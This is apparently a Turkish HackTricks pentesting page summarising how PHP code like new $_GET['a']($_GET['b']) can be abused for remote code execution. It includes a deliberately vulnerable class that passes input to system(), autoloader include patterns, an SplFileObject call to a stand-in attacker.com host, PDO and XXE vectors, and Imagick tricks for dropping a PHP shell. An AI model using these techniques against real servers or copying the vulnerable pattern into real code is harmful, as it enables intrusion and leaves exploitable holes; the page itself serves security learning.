PHP - RCE nesne oluşturma istismarı: new $_GET["a"]($_GET["b"])
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Bu, temelde https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ adresinin bir özetidir.
Giriş
new $_GET["a"]($_GET["a"])
gibi yeni rastgele nesnelerin oluşturulması, yazımda detaylandırıldığı gibi, Uzaktan Kod Yürütme (RCE) ile sonuçlanabilir. Bu belge, RCE elde etme için çeşitli stratejileri vurgulamaktadır.
Özel Sınıflar veya Otomatik Yükleme ile RCE
new $a($b)
sözdizimi, $a
sınıf adını ve $b
yapıcıya geçirilen ilk argümanı temsil eden bir nesne oluşturmak için kullanılır. Bu değişkenler, GET/POST gibi kullanıcı girdilerinden, string veya dizi olarak veya JSON'dan, diğer türler olarak elde edilebilir.
Aşağıdaki kod parçasını düşünün:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
Bu durumda, $a
'yı App
veya App2
ve $b
'yi bir sistem komutuna (örneğin, uname -a
) ayarlamak, o komutun çalıştırılmasına neden olur.
Otomatik yükleme fonksiyonları, doğrudan erişilebilen böyle sınıflar yoksa istismar edilebilir. Bu fonksiyonlar, ihtiyaç duyulduğunda dosyalardan sınıfları otomatik olarak yükler ve spl_autoload_register
veya __autoload
kullanılarak tanımlanır:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Otomatik yüklemenin davranışı PHP sürümlerine göre değişiklik gösterir ve farklı RCE olasılıkları sunar.
Yerleşik Sınıflar ile RCE
Özel sınıflar veya otomatik yükleyiciler yoksa, yerleşik PHP sınıfları RCE için yeterli olabilir. Bu sınıfların sayısı PHP sürümüne ve uzantılara bağlı olarak 100 ile 200 arasında değişir. get_declared_classes()
kullanılarak listelenebilirler.
İlgili yapıcılar, aşağıdaki örnekte ve bağlantıda gösterildiği gibi, yansıma API'si aracılığıyla tanımlanabilir: https://3v4l.org/2JEGF.
Belirli yöntemler aracılığıyla RCE şunları içerir:
SSRF + Phar Deserialization
SplFileObject
sınıfı, yapıcısı aracılığıyla SSRF'yi etkinleştirir ve herhangi bir URL'ye bağlantılara izin verir:
new SplFileObject('http://attacker.com/');
SSRF, Phar protokolünü kullanan PHP'nin 8.0'dan önceki sürümlerinde deserialization saldırılarına yol açabilir.
PDO'ların Sömürülmesi
PDO sınıfı yapıcı, DSN dizeleri aracılığıyla veritabanlarına bağlantılara izin verir, bu da dosya oluşturma veya diğer etkileşimleri mümkün kılabilir:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
PHP'nin 5.3.22 ve 5.4.12 sürümleri, SoapClient
ve SimpleXMLElement
yapıcıları aracılığıyla XXE saldırılarına karşı hassastı, bu durum libxml2 sürümüne bağlıydı.
RCE via Imagick Extension
Projenin bağımlılıkları analizi sırasında, Imagick'in yeni nesne örnekleri oluşturarak komut yürütme için kullanılabileceği keşfedildi. Bu, güvenlik açıklarını istismar etme fırsatı sunar.
VID parser
Dosya sisteminde belirtilen herhangi bir yola içerik yazma yeteneğine sahip VID parser'ın varlığı tespit edildi. Bu, web erişimine açık bir dizine bir PHP shell yerleştirilmesine yol açabilir ve Uzak Kod Yürütme (RCE) sağlanabilir.
VID Parser + File Upload
PHP'nin yüklenen dosyaları geçici olarak /tmp/phpXXXXXX
dizininde sakladığı belirtilmiştir. Imagick'teki VID parser, msl protokolünü kullanarak dosya yollarında joker karakterleri işleyebilir ve geçici dosyayı seçilen bir konuma taşıyabilir. Bu yöntem, dosya sisteminde keyfi dosya yazma elde etmek için ek bir yaklaşım sunar.
PHP Crash + Brute Force
orijinal yazımda tanımlanan bir yöntem, silinmeden önce bir sunucu çökmesine neden olan dosyaların yüklenmesini içerir. Geçici dosyanın adını brute-force ile tahmin ederek, Imagick'in keyfi PHP kodu yürütmesi mümkün hale gelir. Ancak, bu tekniğin yalnızca eski bir ImageMagick sürümünde etkili olduğu bulunmuştur.
References
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.